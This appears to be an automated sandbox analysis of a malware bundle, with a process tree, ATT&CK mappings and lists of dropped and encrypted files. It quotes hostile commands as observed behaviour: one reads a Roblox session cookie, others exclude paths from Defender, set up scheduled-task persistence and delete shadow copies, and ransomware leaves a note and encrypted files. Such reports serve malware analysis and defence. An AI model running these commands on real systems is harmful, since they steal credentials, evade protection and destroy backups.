C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50682\rar.exe a -r -hp"xbest" "C:\Users\Admin\AppData\Local\Temp\yoons.zip" *"5⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI50682\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI50682\rar.exe a -r -hp"xbest" "C:\Users\Admin\AppData\Local\Temp\yoons.zip" *6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\SWID_reader.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\SWID_reader.exe"3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\dxwebsetup.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\dxwebsetup.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\eU80aK2YmFb6vbK.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\eU80aK2YmFb6vbK.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\eU80aK2YmFb6vbK.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\nhtgwyFTIne.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nhtgwyFTIne" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEB2B.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\svchost.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\zeropersca.exe"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\Files\zeropersca.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\asena.exe"C:\Users\Admin\AppData\Local\Temp\asena.exe"2⤵
- Executes dropped EXE
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\SysWOW64\notepad.exeC:\Users\Public\Documents\RGNR_292FBD50.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Bomb.exe"C:\Users\Admin\AppData\Local\Temp\Bomb.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\25.exe"C:\Users\Admin\AppData\Local\Temp\25.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\24.exe"C:\Users\Admin\AppData\Local\Temp\24.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\23.exe"C:\Users\Admin\AppData\Local\Temp\23.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\22.exe"C:\Users\Admin\AppData\Local\Temp\22.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\21.exe"C:\Users\Admin\AppData\Local\Temp\21.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\20.exe"C:\Users\Admin\AppData\Local\Temp\20.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\19.exe"C:\Users\Admin\AppData\Local\Temp\19.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\18.exe"C:\Users\Admin\AppData\Local\Temp\18.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\17.exe"C:\Users\Admin\AppData\Local\Temp\17.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\16.exe"C:\Users\Admin\AppData\Local\Temp\16.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\15.exe"C:\Users\Admin\AppData\Local\Temp\15.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\14.exe"C:\Users\Admin\AppData\Local\Temp\14.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\13.exe"C:\Users\Admin\AppData\Local\Temp\13.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\12.exe"C:\Users\Admin\AppData\Local\Temp\12.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\11.exe"C:\Users\Admin\AppData\Local\Temp\11.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\10.exe"C:\Users\Admin\AppData\Local\Temp\10.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\9.exe"C:\Users\Admin\AppData\Local\Temp\9.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\8.exe"C:\Users\Admin\AppData\Local\Temp\8.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7.exe"C:\Users\Admin\AppData\Local\Temp\7.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3.exe"C:\Users\Admin\AppData\Local\Temp\3.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"3⤵
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\cf4d0a0b\cf4d0a0b.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\cf4d0a0b\cf4d0a0b.exeC:\cf4d0a0b\cf4d0a0b.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"3⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\cf4d0a0b.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\cf4d0a0b.exeC:\Users\Admin\AppData\Roaming\cf4d0a0b.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"2⤵
-
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Pre-OS Boot
1Bootkit
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
duplicate.svg
aic_file_icons.png.ragnar_292FBD50
remove.svg
s_backarrow_default.svg
s_closereview_18.svg
s_comment_18.svg
s_editpdf_18.svg
s_export_18.svg
s_fillandsign_18.svg
s_move_18.svg
s_newfolder-default.svg
s_nextarrow_default.svg
s_organize_18.svg
s_rename_18.svg
s_sendforsignature_18.svg
s_share_18.svg
selection-actions.png
selection-actions2x.png
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
convertpdf-selector.js
convertpdf-tool-view.js
ui-strings.js
ui-strings.js
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
example_icons.png
example_icons2x.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
ui-strings.js
ui-strings.js
s_checkbox_selected_18.svg
s_checkbox_unselected_18.svg
ui-strings.js
ui-strings.js
ui-strings.js
icons.png
icons_ie8.gif
icons_retina.png
new_icons.png
new_icons_retina.png
ui-strings.js
ui-strings.js
ui-strings.js
bg_pattern_RHP.png.ragnar_292FBD50
bg_patterns_header.png
illustrations.png
illustrations_retina.png
ui-strings.js
ui-strings.js
main-selector.css
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
en_get.svg
ui-strings.js
ui-strings.js
ui-strings.js
main-selector.css
Download_on_the_App_Store_Badge_cs_135x40.svg
Download_on_the_App_Store_Badge_da_135x40.svg
Download_on_the_App_Store_Badge_de_135x40.svg
Download_on_the_App_Store_Badge_es_135x40.svg
Download_on_the_App_Store_Badge_fi_135x40.svg
Download_on_the_App_Store_Badge_fr_135x40.svg
Download_on_the_App_Store_Badge_it_135x40.svg
Download_on_the_App_Store_Badge_ja_135x40.svg
Download_on_the_App_Store_Badge_ko_135x40.svg
Download_on_the_App_Store_Badge_nb_135x40.svg
Download_on_the_App_Store_Badge_pl_135x40.svg
Download_on_the_App_Store_Badge_pt_135x40.svg
Download_on_the_App_Store_Badge_ru_135x40.svg
Download_on_the_App_Store_Badge_sv_135x40.svg
Download_on_the_App_Store_Badge_tr_135x40.svg
Download_on_the_App_Store_Badge_zh_cn_135x40.svg
Download_on_the_App_Store_Badge_zh_tw_135x40.svg
cs_get.svg
da_get.svg
de_get.svg
es-419_get.svg
fi_get.svg
fr_get.svg
it_get.svg
ko_get.svg
no_get.svg
pl_get.svg
pt-br_get.svg
ru_get.svg
sv_get.svg
tr_get.svg
zh-cn_get.svg
zh-tw_get.svg
ui-strings.js
ui-strings.js
main.css
ui-strings.js
ui-strings.js
ui-strings.js
main-selector.css
faf_icons.png
progress.gif
ui-strings.js
ui-strings.js
ui-strings.js
bun.png
cstm_brand_preview.png
cstm_brand_preview2x.png
dd_arrow_small.png
dd_arrow_small2x.png
illustrations.png
nub.png
s_filter_18.svg
s_listview_18.svg
s_opencarat_18.svg
s_thumbnailview_18.svg
share_icons.png
share_icons2x.png
ui-strings.js
adobe_spinner.gif
adc_logo.png
logo_retina.png
sat_logo.png
sat_logo_2x.png
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
DisplayLanguageNames.en_GB_EURO.txt
ad-selection-attestations.dat
manifest.json
Edge.dat
EdgeWebView.dat
external_extensions.json
manifest.json
preloaded_data.pb
Advertising
Analytics
CompatExceptions
Content
Cryptomining
Entities
Fingerprinting
LICENSE
Other
Social
TransparentAdvertisers
Advertising
Analytics
Content
Cryptomining
Entities
Fingerprinting
LICENSE
Other
Social
Staging
manifest.json
Logo.png
LogoBeta.png
LogoCanary.png
LogoDev.png
SmallLogo.png
SmallLogoBeta.png.ragnar_292FBD50
SmallLogoCanary.png
SmallLogoDev.png
manifest.json
camera_mf_trace.wprp
mf_trace.wprp
resources.pri
identity_helper.Sparse.Internal.msix
vk_swiftshader_icd.json
af.pak
am.pak
ar.pak
as.pak
az.pak
bg.pak
bn-IN.pak
bs.pak
ca-Es-VALENCIA.pak
ca.pak
cs.pak
cy.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
eu.pak
fa.pak
fi.pak
fil.pak
fr-CA.pak
fr.pak
ga.pak
gd.pak
gl.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
is.pak
it.pak
ja.pak
ka.pak
kk.pak
km.pak
kn.pak
ko.pak
kok.pak
lb.pak
lo.pak
lt.pak
lv.pak
mi.pak
mk.pak
ml.pak
mr.pak
ms.pak
mt.pak
nb.pak
ne.pak
nl.pak
nn.pak
or.pak
pa.pak
pl.pak
pt-BR.pak
pt-PT.pak
qu.pak
ro.pak
ru.pak
sk.pak
sl.pak
sq.pak
sr-Cyrl-BA.pak
sr-Latn-RS.pak
sr.pak
sv.pak
ta.pak
te.pak
th.pak
tr.pak
tt.pak
ug.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
widevinecdm.dll.sig
EdgeGameAssist.msix
VERSION
icudtl.dat
beta.identity_helper.exe.manifest
canary.identity_helper.exe.manifest
dev.identity_helper.exe.manifest
internal.identity_helper.exe.manifest
identity_helper.Sparse.Canary.msix
identity_helper.Sparse.Canary.msix
msedge.dll.sig
msedge.exe.sig
msedge_100_percent.pak
msedge_200_percent.pak
msedgewebview2.exe.sig
resources.pak
show_third_party_software_licenses.bat
v8_context_snapshot.bin
af.pak.DATA
am.pak.DATA
ar.pak.DATA
as.pak.DATA
az.pak.DATA
bg.pak.DATA
bn-IN.pak.DATA
bs.pak.DATA
ca-Es-VALENCIA.pak.DATA
ca.pak.DATA
cs.pak.DATA
cy.pak.DATA
da.pak.DATA
de.pak.DATA
el.pak.DATA
en-GB.pak.DATA
en-US.pak.DATA
es-419.pak.DATA
es.pak.DATA
et.pak.DATA
eu.pak.DATA
fa.pak.DATA
fi.pak.DATA
fil.pak.DATA
fr-CA.pak.DATA
fr.pak.DATA
ga.pak.DATA
gd.pak.DATA
gl.pak.DATA
gu.pak.DATA
he.pak.DATA
hi.pak.DATA
hr.pak.DATA
hu.pak.DATA
id.pak.DATA
is.pak.DATA
it.pak.DATA
ja.pak.DATA
ka.pak.DATA
kk.pak.DATA
km.pak.DATA
kn.pak.DATA
ko.pak.DATA
kok.pak.DATA
lb.pak.DATA
lo.pak.DATA
lt.pak.DATA
lv.pak.DATA
mi.pak.DATA
mk.pak.DATA
ml.pak.DATA
mr.pak.DATA
ms.pak.DATA
mt.pak.DATA
nb.pak.DATA
ne.pak.DATA
nl.pak.DATA
nn.pak.DATA
or.pak.DATA
pa.pak.DATA
pl.pak.DATA
pt-BR.pak.DATA
pt-PT.pak.DATA
qu.pak.DATA
ro.pak.DATA
ru.pak.DATA
sk.pak.DATA
sl.pak.DATA
sq.pak.DATA
sr-Cyrl-BA.pak.DATA
sr-Latn-RS.pak.DATA
sr.pak.DATA
sv.pak.DATA
ta.pak.DATA
te.pak.DATA
th.pak.DATA
tr.pak.DATA
tt.pak.DATA
ug.pak.DATA
uk.pak.DATA
ur.pak.DATA
vi.pak.DATA
zh-CN.pak.DATA
zh-TW.pak.DATA
EdgeGameAssist.msix.DATA
VERSION.DATA
widevinecdm.dll.sig
icudtl.dat
identity_helper.Sparse.Beta.msix
identity_helper.Sparse.Canary.msix
identity_helper.Sparse.Dev.msix
msedge.dll.sig
msedge.exe.sig
msedge_100_percent.pak
msedge_200_percent.pak
msedgewebview2.exe.sig
resources.pak
v8_context_snapshot.bin
identity_helper.Sparse.Beta.msix.DATA
identity_helper.Sparse.Dev.msix.DATA
identity_helper.Sparse.Internal.msix
notification_helper.exe.manifest
delegatedWebFeatures.sccd
MSFT_PackageManagement.schema.mfl
MSFT_PackageManagement.schema.mfl
MSFT_PackageManagement.schema.mfl
MSFT_PackageManagement.schema.mfl
MSFT_PackageManagement.schema.mfl.ragnar_292FBD50
MSFT_PackageManagement.schema.mfl
MSFT_PackageManagement.schema.mfl
win32_LinkNoDrop32x32.gif
COPYRIGHT
LICENSE
THIRDPARTYLICENSEREADME-JAVAFX.txt
THIRDPARTYLICENSEREADME.txt
directshow.md
glib.md
gstreamer.md
icu_web.md
jpeg_fx.md
libffi.md
libxml2.md
libxslt.md
mesa3d.md
public_suffix.md
webkit.md
asm.md
bcel.md
cldr.md
colorimaging.md
cryptix.md.ragnar_292FBD50
dom.md
dynalink.md
ecc.md
freebxml.md
giflib.md
icu.md
jcup.md
joni.md
jopt-simple.md
jpeg.md
lcms.md
libpng.md
mesa3d.md
pkcs11cryptotoken.md
pkcs11wrapper.md
relaxngcc.md
relaxngdatatype.md
relaxngom.md
santuario.md
thaidict.md
unicode.md
xalan.md
xerces.md
xmlresolver.md
zlib.md
messages_zh_HK.properties
ClientSub2019_eula.txt
MSOUC_F_COL.HXK
MSOUC_K_COL.HXK
Microsoft.Mashup.Container.NetFX45.exe.config
SIST02.XSL
msgr8fr.dub
pkeyconfig-office.xrm-ms
Informix.xsl
Sybase.xsl
msjet.xsl
sql2000.xsl
sql70.xsl
hive.xsl
vlc.mo
USStmp.jtx
CURRENT
MANIFEST-000001
data_0
data_1
data_2
data_3
index
index
settings.dat
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
0.1.filtertrie.intermediate.txt
0.2.filtertrie.intermediate.txt
1.exe
10.exe
11.exe
12.exe
13.exe
14.exe
15.exe
16.exe
17.exe
18.exe
19.exe
2.exe
20.exe
21.exe
22.exe
23.exe
24.exe
25.exe
3.exe
4.exe
4363463463464363463463463.exe
5.exe
6.exe
7.exe
8.exe
9.exe
Bomb.exe
CryptoWall.exe
Microsoft .NET Framework 4.7.2 Setup_20250502_172316341.html
Client-built.exe
SWID_reader.exe
Xbest%20V1.exe
dxwebsetup.exe
eU80aK2YmFb6vbK.exe
popapoers.exe
svchost.exe
zeropersca.exe
__PSScriptPolicyTest_k4herc4a.0sr.ps1
a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
asena.exe
d6caf64597bd5e0803f7d0034e73195e83dae370450a2e890b82f77856830167.exe
wctC94B.tmp
RGNR_292FBD50.txt
DirectX.log
dsetup.dll
dsetup32.dll
memory/772-1918-0x0000000000C30000-0x0000000000C40000-memory.dmp
memory/848-2811-0x0000000000510000-0x0000000000520000-memory.dmp
memory/1040-1846-0x00000000005F0000-0x0000000000600000-memory.dmp
memory/1108-3082-0x0000000000BD0000-0x0000000000BE0000-memory.dmp
memory/1620-1545-0x0000000000BE0000-0x0000000000C1C000-memory.dmp
memory/1916-2642-0x0000000000C60000-0x0000000000C70000-memory.dmp
memory/1948-2773-0x0000000000CB0000-0x0000000000CC0000-memory.dmp
memory/2016-6721-0x00007FFCC9F10000-0x00007FFCCA02C000-memory.dmp
memory/2016-11011-0x00007FFCCA100000-0x00007FFCCA629000-memory.dmp
memory/2016-22876-0x00007FFCC9F10000-0x00007FFCCA02C000-memory.dmp
memory/2016-10978-0x00007FFCE3B60000-0x00007FFCE3B93000-memory.dmp
memory/2016-10975-0x00007FFCE7910000-0x00007FFCE7929000-memory.dmp
memory/2016-11016-0x00007FFCCA030000-0x00007FFCCA0FD000-memory.dmp
memory/2016-9948-0x00007FFCE3BA0000-0x00007FFCE3BC3000-memory.dmp
memory/2016-5432-0x00007FFCCCDF0000-0x00007FFCCD3E2000-memory.dmp
memory/2016-9955-0x00007FFCCA630000-0x00007FFCCA7AE000-memory.dmp
memory/2016-5672-0x00007FFCE3F80000-0x00007FFCE3FA4000-memory.dmp
memory/2016-5673-0x00007FFCEE0B0000-0x00007FFCEE0BF000-memory.dmp
memory/2016-7382-0x00007FFCE3F80000-0x00007FFCE3FA4000-memory.dmp
memory/2016-7017-0x00007FFCCCDF0000-0x00007FFCCD3E2000-memory.dmp
memory/2016-6719-0x00007FFCE4E40000-0x00007FFCE4E54000-memory.dmp
memory/2016-22727-0x00007FFCE3B60000-0x00007FFCE3B93000-memory.dmp
memory/2016-6720-0x00007FFCE7A90000-0x00007FFCE7A9D000-memory.dmp
memory/2016-6314-0x00007FFCE3BD0000-0x00007FFCE3BFD000-memory.dmp
memory/2016-6479-0x00007FFCE7910000-0x00007FFCE7929000-memory.dmp
memory/2016-6480-0x00007FFCE7BD0000-0x00007FFCE7BDD000-memory.dmp
memory/2016-22709-0x00007FFCE7A90000-0x00007FFCE7A9D000-memory.dmp
memory/2016-6354-0x00007FFCCA630000-0x00007FFCCA7AE000-memory.dmp
memory/2016-6353-0x00007FFCE3BA0000-0x00007FFCE3BC3000-memory.dmp
memory/2016-6352-0x00007FFCEA0A0000-0x00007FFCEA0B9000-memory.dmp
memory/2016-6482-0x00007FFCCA100000-0x00007FFCCA629000-memory.dmp
memory/2016-6483-0x00007FFCCA030000-0x00007FFCCA0FD000-memory.dmp
memory/2016-22726-0x00007FFCE7BD0000-0x00007FFCE7BDD000-memory.dmp
memory/2016-22725-0x00007FFCE7910000-0x00007FFCE7929000-memory.dmp
memory/2016-22724-0x00007FFCCA630000-0x00007FFCCA7AE000-memory.dmp
memory/2016-22723-0x00007FFCE3BA0000-0x00007FFCE3BC3000-memory.dmp
memory/2016-22722-0x00007FFCEA0A0000-0x00007FFCEA0B9000-memory.dmp
memory/2016-22721-0x00007FFCE3BD0000-0x00007FFCE3BFD000-memory.dmp
memory/2016-22720-0x00007FFCEE0B0000-0x00007FFCEE0BF000-memory.dmp
memory/2016-22719-0x00007FFCE3F80000-0x00007FFCE3FA4000-memory.dmp
memory/2016-22718-0x00007FFCCCDF0000-0x00007FFCCD3E2000-memory.dmp
memory/2016-22694-0x00007FFCCA100000-0x00007FFCCA629000-memory.dmp
memory/2016-22707-0x00007FFCE4E40000-0x00007FFCE4E54000-memory.dmp
memory/2016-22701-0x00007FFCCA030000-0x00007FFCCA0FD000-memory.dmp
memory/2016-6481-0x00007FFCE3B60000-0x00007FFCE3B93000-memory.dmp
memory/2284-3016-0x0000000000CD0000-0x0000000000CE0000-memory.dmp
memory/2300-2997-0x0000000000AA0000-0x0000000000AB0000-memory.dmp
memory/2708-3030-0x0000000000F00000-0x0000000000F10000-memory.dmp
memory/2824-26-0x0000000000400000-0x000000000043D000-memory.dmp
memory/2856-2009-0x0000000000040000-0x0000000000050000-memory.dmp
memory/3156-2364-0x0000000000220000-0x0000000000230000-memory.dmp
memory/3192-2774-0x0000000000AD0000-0x0000000000AE0000-memory.dmp
memory/3244-74-0x0000000000BB0000-0x0000000000BD5000-memory.dmp
memory/3244-67-0x0000000000BB0000-0x0000000000BD5000-memory.dmp
memory/3392-14883-0x00000000003B0000-0x00000000003CA000-memory.dmp
memory/3424-1960-0x0000000000420000-0x0000000000430000-memory.dmp
memory/3528-1049-0x00000000010E0000-0x0000000001105000-memory.dmp
memory/3528-1069-0x00000000010E0000-0x0000000001105000-memory.dmp
memory/3584-2514-0x0000000000210000-0x0000000000220000-memory.dmp
memory/3624-6147-0x000000001B3E0000-0x000000001B486000-memory.dmp
memory/3624-7207-0x000000001C250000-0x000000001C26C000-memory.dmp
memory/3624-6176-0x000000001BA30000-0x000000001BEFE000-memory.dmp
memory/3624-6177-0x000000001BF00000-0x000000001BF9C000-memory.dmp
memory/3624-6320-0x000000001BFF0000-0x000000001C03C000-memory.dmp
memory/3624-6300-0x0000000000C20000-0x0000000000C28000-memory.dmp
memory/3632-3091-0x0000000000AF0000-0x0000000000B00000-memory.dmp
memory/3692-2021-0x0000000000060000-0x0000000000070000-memory.dmp
memory/3764-2363-0x00000000006F0000-0x0000000000700000-memory.dmp
memory/3888-73-0x0000000000D20000-0x0000000000D45000-memory.dmp
